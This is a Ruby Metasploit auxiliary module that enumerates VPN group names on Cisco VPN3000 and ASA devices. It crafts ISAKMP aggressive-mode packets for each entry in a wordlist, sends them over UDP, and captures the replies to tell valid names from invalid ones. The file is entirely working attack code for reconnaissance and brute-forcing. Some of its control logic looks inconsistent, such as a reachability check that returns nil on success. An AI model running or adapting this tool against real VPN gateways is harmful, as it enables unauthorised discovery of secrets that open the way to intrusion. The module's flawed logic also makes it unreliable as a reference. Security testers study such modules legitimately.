##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'bit-struct'

class MetasploitModule < Msf::Auxiliary

	include Msf::Exploit::Capture
	include Msf::Exploit::Remote::Udp

	def initialize
		super(
			'Name'           => 'Cisco IPSec VPN Implementation Group Name Enumeration.',
			'Description'    => %q{
								This module enumerates VPN group names from Cisco VPN3000 and Cisco ASA devices.
		},
		'Author'         => [ 'pello' ],
		'License'        => MSF_LICENSE,
		'References'     => [ [ 'URL', 'http://www.cisco.com/en/US/products/products_security_response09186a0080b5992c.html' ] ]
		)
		register_options(
			[
				OptInt.new('TIMEOUT', [ true, "The number of seconds to wait for new data.",3]),
				OptString.new('WORDLIST', [ true,  "Wordlist containing VPN group names.", '']),
				Opt::RPORT(500),
				OptString.new('INTERFACE', [false, 'The name of the interface','eth0'])
		], self.class)

		deregister_options('PCAPFILE','SNAPLEN','FILTER')

	end

	class IsakmpHeader < Struct.new(
		:initiatorcookie,
		:respondercookie,
		:nextpayload,
		:version,
		:exchangetype,
		:flags,
		:messageid,
		:length
	)

		def initialize
			self.initiatorcookie = ""
			self.respondercookie = ""
			self.nextpayload = 1
			self.version = 0x10
			self.exchangetype = 0x4
			self.flags = 0
			self.messageid = 0
			self.length = 0
		end

		def pack
			[
				initiatorcookie,
				respondercookie,
				nextpayload,
				version,
				exchangetype,
				flags,
				messageid,
				length
			].pack("a8a8CCCCNN")
		end

	end

	class IsakmpSaPayload < Struct.new(
		:nextpayload,
		:reserved,
		:payloadlength,
		:domain,
		:situation
	)

		def initialize
			self.nextpayload = 4
			self.reserved = 0
			self.payloadlength = 0xa4
			self.domain = 1
			self.situation = 1
		end

		def pack
			[
				nextpayload,
				reserved,
				payloadlength,
				domain,
				situation
			].pack("CCnNN")
		end

	end

	class IsakmpProposalPayload < Struct.new(
		:nextpayload,
		:reserved,
		:payloadlength,
		:proposalnumber,
		:protocol,
		:spisize,
		:proposaltransforms
	)
		def initialize
			self.nextpayload = 0
			self.reserved = 0
			self.payloadlength = 0x98
			self.proposalnumber = 1
			self.protocol = 1
			self.spisize = 0
			self.proposaltransforms = 4
		end

		def pack
			[
				nextpayload,
				reserved,
				payloadlength,
				proposalnumber,
				protocol,
				spisize,
				proposaltransforms
			].pack("CCnCCCC")
		end

	end

	class IsakmpTransformPayload < Struct.new(
		:nextpayload,
		:reserved,
		:payloadlength,
		:number,
		:id,
		:padding,
		:encryption,
		:hash,
		:authentication,
		:groupdescription,
		:lifetype,
		:lifeduration
	)

		def initialize
			self.nextpayload = 3
			self.reserved = 0
			self.payloadlength =  0x24
			self.number = 1
			self.id = 1
			self.padding = 0
			self.encryption = 0x80010005
			self.hash = 0x80020002
			self.authentication = 0x8003fde9
			self.groupdescription = 0x80040002
			self.lifetype = 0x800b0001
			self.lifeduration = "\x00\x0c\x00\x04\x00\x00\x70\x80"
		end

		def pack
			[
				nextpayload,
				reserved,
				payloadlength,
				number,
				id,
				padding,
				encryption,
				hash,
				authentication,
				groupdescription,
				lifetype,
				lifeduration
			].pack("CCnCCnNNNNNA8")
		end

	end

	class IsakmpKeyExchangePayload < Struct.new(
		:nextpayload,
		:reserved,
		:payloadlength,
		:data
	)

		def initialize
			self.nextpayload = 5
			self.reserved = 0
			self.payloadlength = 0x84
			self.data = Rex::Text.rand_text(128,'0x0')
		end

		def pack
			[
				nextpayload,
				reserved,
				payloadlength,
				data
			].pack("CCnA128")
		end

	end

	class IsakmpNoncePayload < Struct.new(
		:nextpayload,
		:reserved,
		:payloadlength,
		:data
	)

		def initialize
			self.nextpayload = 5
			self.reserved = 0
			self.payloadlength = 0x18
			self.data = Rex::Text.rand_text(20,'0x0')
		end

		def pack
			[
				nextpayload,
				reserved,
				payloadlength,
				data
			].pack("CCnA20")
		end

	end

	class IsakmpIdPayload < Struct.new(
		:nextpayload,
		:reserved,
		:payloadlength,
		:type,
		:protocol,
		:port,
		:data
	)

		def initialize
			self.nextpayload = 0
			self.reserved = 0
			self.payloadlength = 0
			self.type = 0xb
			self.protocol = 0x11
			self.port = 500
			self.data
		end

		def pack
			[
				nextpayload,
				reserved,
				payloadlength,
				type,
				protocol,
				port,
				data
			].pack("CCnCCnA*")
		end

	end

	def generate_isakmp_message
		isakmp_hdr = IsakmpHeader.new
		isakmp_hdr.initiatorcookie = Rex::Text.rand_text(8,'0x0')
		isakmp_sa = IsakmpSaPayload.new
		isakmp_proposal = IsakmpProposalPayload.new
		isakmp_transform1 = IsakmpTransformPayload.new
		isakmp_transform2 = IsakmpTransformPayload.new
		isakmp_transform2.number = 0x2
		isakmp_transform2.hash = 0x80020001
		isakmp_transform3 = IsakmpTransformPayload.new
		isakmp_transform3.number = 0x3
		isakmp_transform3.encryption = 0x80010001
		isakmp_transform3.hash = 0x80020002
		isakmp_transform4 = IsakmpTransformPayload.new
		isakmp_transform4.number = 0x4
		isakmp_transform4.encryption = 0x80010001
		isakmp_transform4.hash = 0x80020001
		isakmp_transform4.nextpayload = 0x0
		isakmp_key_exchange = IsakmpKeyExchangePayload.new
		isakmp_nonce = IsakmpNoncePayload.new
		isakmp_id = IsakmpIdPayload.new
		isakmp_id.payloadlength = @groupname.rstrip.length + 8
		isakmp_id.data = @groupname.rstrip

		isakmp_hdr.length = 356 + isakmp_id.data.length

		payload = ""
		payload << isakmp_hdr.pack
		payload << isakmp_sa.pack
		payload << isakmp_proposal.pack
		payload << isakmp_transform1.pack
		payload << isakmp_transform2.pack
		payload << isakmp_transform3.pack
		payload << isakmp_transform4.pack
		payload << isakmp_key_exchange.pack
		payload << isakmp_nonce.pack
		payload << isakmp_id.pack

		return payload
	end

	def check_dpd(pkt)
		pkt2hex = pkt.unpack("C*").map {|x| x.to_s(16)}.join
		pkt2hex =~ /afcad71368a1f1c96b8696fc77571/i
	end

	def build_ipsec_pkt
		payload = generate_isakmp_message
		connect_udp
		pcap = Pcap::open_live(datastore['INTERFACE'], 1500, false, datastore['TIMEOUT'].to_i)
		pcap.setfilter("src host #{datastore['RHOST']} and udp port 500")
		udp_sock.put(payload)
		disconnect_udp
		begin
			Timeout.timeout(datastore['TIMEOUT'].to_i) do
				pcap.each do |r|
					close_pcap
					if check_dpd(r)
						return true
					else
						return false
					end
				end
			end
		rescue Timeout::Error
			close_pcap
			print_status("No reply received. The following group is discovered: " << @groupname.to_s)
			return false
		end
	end

	def check_reachability
		ipsecport = datastore['RPORT']
		datastore['RPORT'] = 62515
		pkt = "\x00\x00\xa5\x4b\x01\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00"
		print_status("Sending VPN client log UDP request to #{datastore['RHOST']}")
		connect_udp
		datastore['RPORT'] = ipsecport

		pcap = Pcap::open_live(datastore['INTERFACE'], 1500, false, datastore['TIMEOUT'].to_i)
		pcap.setfilter("icmp[icmptype] == icmp-unreach and host #{datastore['RHOST']}")
		udp_sock.put(pkt)
		disconnect_udp
		begin
			Timeout.timeout(datastore['TIMEOUT'].to_i) do
				pcap.each do |r|
					print_error("No response from the Cisco VPN remote peer.")
					close_pcap
					return false
				end
			end
		rescue Timeout::Error
			close_pcap
			print_status("Cisco VPN remote peer is ready.")
		end
	end

	def run
		open_pcap unless self.capture

		groupnames = []
		File.open(datastore['WORDLIST'],"rb").each_line do |line|
			groupnames << line.strip
		end

		if check_reachability
			print_status("Starting...")
			groupnames.each do |groupname|
				@groupname = groupname
				if build_ipsec_pkt
					print_status("The following group is discovered: " << @groupname.to_s)
				end
			end
		end

	end


end
